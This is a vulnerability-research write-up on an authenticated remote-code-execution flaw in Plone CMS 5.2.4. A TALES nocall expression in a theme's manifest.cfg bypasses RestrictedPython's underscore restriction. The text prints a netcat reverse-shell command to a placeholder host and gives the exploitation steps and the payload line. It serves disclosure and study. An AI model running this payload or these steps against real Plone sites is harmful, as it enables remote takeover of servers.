Plone is a Python-based open source content management project actively developed since 2002. It is available in more than 40 languages, and comes with 196 add-ons. Plone has had over 89,000 commits made by close to 800 code contributors, representing close to 1,250,000 lines of code.
... Trusted by the CIA, FBI and Others: The Central Intelligence Agency and the Federal Bureau of Investigation have chosen to trust their websites to Plone. Additionally, the government of Brazil, NASA, Disney and many other schools, governments and businesses around the world have chosen Plone for secure, enterprise web content management."
-- Plone: security statement
Within the reconnaissance & research phase, we've stumbled upon a recently disclosed security advisory posted on Github, related to an XXE vulnerability (Improper Restriction of XML External Entity Reference in Plone).
Hence we had a look at the Plone CMS, to both improve our own understanding of patched vulnerabilities and ~~potentially~~ find new vulnerabilities ourselves.
In this write-up, we go into more detail on how we found an authenticated RCE vulnerability in Plone and how we ended up exploiting it - PoC included!
In order to get up and running quickly we've decided to make use of the official Docker image for our local Plone lab:
docker run -p 127.0.0.1:8080:8080 plone:5.2.4
After spawning the docker container and creating a new Plone site, we started exploring Plone's features. Spending a good amount of time playing around with the plaethora of features in Plone, we started focusing on the Theming feature.
While skimming through Plone's Theming Manual, we learned about an interesting feature available to theme authors called TALES expressions.
According to the theming manual, TALES expressions "work as they do in Zope Page Templates". So we referred to the Zope documentation about TALES expressions to learn more about them.
Appendix C: 27.11. TALES Overview provides an overview of different TALES expression types which we can make use of in our templates:
The python expression
type seems very interesting, would this expression
type allow us to execute arbitrary Python code?
The more elaborate description under Appendix C: 27.16. TALES Python expressions tells us otherwise:
Python expressions evaluate Python code in a security-restricted environment.
Python expressions offer the same facilities as those available in Python-based
Scripts and DTML variable expressions.
...
Python expressions are subject to Zope permission and role security
restrictions. In addition, expressions cannot access objects whose names
begin with underscore.
We started digging further into RestrictedPython with the main focus set on understanding the "security-restricted" environment under which python expressions are executed.
Zope, the foundation of Plone, makes use of RestrictedPython
to closely control what a theme author is allowed to execute within a python expression
.
In essence, the Python expression is compiled and later executed (via eval) with a limited set
of globals available. Some globally available functions, like getattr
,
setattr
and delattr
are replaced with custom wrapper functions to enforce
even more strict validation of what can and cannot be performed.
To get an idea of what is available to us inside the restricted environment, we
edited /plone/buildout-cache/eggs/cp38/Zope-4.5.5-py3.8.egg/Products/PageTemplates/ZRPythonExpr.py
(inside the docker container) to dump the globals
argument passed to the
eval
statement.
class PythonExpr(PythonExpr):
_globals = get_safe_globals()
_globals['_getattr_'] = guarded_getattr
_globals['__debug__'] = __debug__
def __init__(self, name, expr, engine):
self.text = self.expr = text = expr.strip().replace('\n', ' ')
code, err, warn, use = compile_restricted_eval(
text, self.__class__.__name__)
if err:
raise engine.getCompilerError()(
'Python expression error:\n%s' % '\n'.join(err))
self._varnames = list(use.keys())
self._code = code
def __call__(self, econtext):
__traceback_info__ = self.text
vars = self._bind_used_names(econtext, {})
vars.update(self._globals)
with open("/tmp/globals_dump.txt", "w") as fout:
fout.write(str(vars))
return eval(self._code, vars, {})
We ended up with the following output (shortened for brevity):
{
'__builtins__': {
'None': None,
'False': False,
'True': True,
...
'getattr': <built-in function guarded_getattr>
'setattr': <function guarded_setattr at 0x7f7f7f211430>,
'delattr': <function guarded_delattr at 0x7f7f7f211790>,
'_getattr_': <function safer_getattr at 0x7f7f7f211820>,
'string': <module 'string' from '/usr/local/lib/python3.8/string.py'>,
'random': <module 'random' from '/usr/local/lib/python3.8/random.py'>,
'whrandom': <module 'random' from '/usr/local/lib/python3.8/random.py'>,
'set': <class 'set'>,
...
},
...
}
After inspecting the string
, math
and random
Python modules, we found a
potential way of executing arbitrary code:
random._os.system("nc -e /bin/sh 1.3.3.7 1337")
But this violates one of the security environment's constraints, we are not allowed to access objects whose name starts with an underscore.
After pondering for a while and reading through the documentation on theming in a bit more detail, we learned that a subset of TALES expression types can be used inside the TALES python expression itself, as outlined at the end of chapter "27.16.2.2. Built-in Functions":
These functions are available in Python expressions, but not in
Python-based scripts:
path(string) Evaluate a TALES path expression.
string(string) Evaluate a TALES string expression.
exists(string) Evaluates a TALES exists expression.
nocall(string) Evaluates a TALES nocall expression.
After experimenting with other TALES expression types available inside the
python expression, we realized that the underscore restriction is not enforced
in path
, string
, exists
or nocall
. In other words, we can get a
reference to random._os.system
via the nocall
expression type.
This was the missing piece of the puzzle.
All we need to do now, is call the system function with a command of our choice.
The following steps lead to exploiting this vulnerability:
Theming
pagemanifest.cfg
manifest.cfg
with a new section called [theme:parameters]
x = python:nocall("random/_os/system")("<code>")
<code>
with a reverse shell payloadmanifest.cfg
and click the Preview theme
button to trigger the payload... and finally catch the shell:
To showcase the exploitation of this vulnerability, we've developed a PoC which will spawn a reverse shell. Head over to the cyllective/CVEs Github repo to check it out.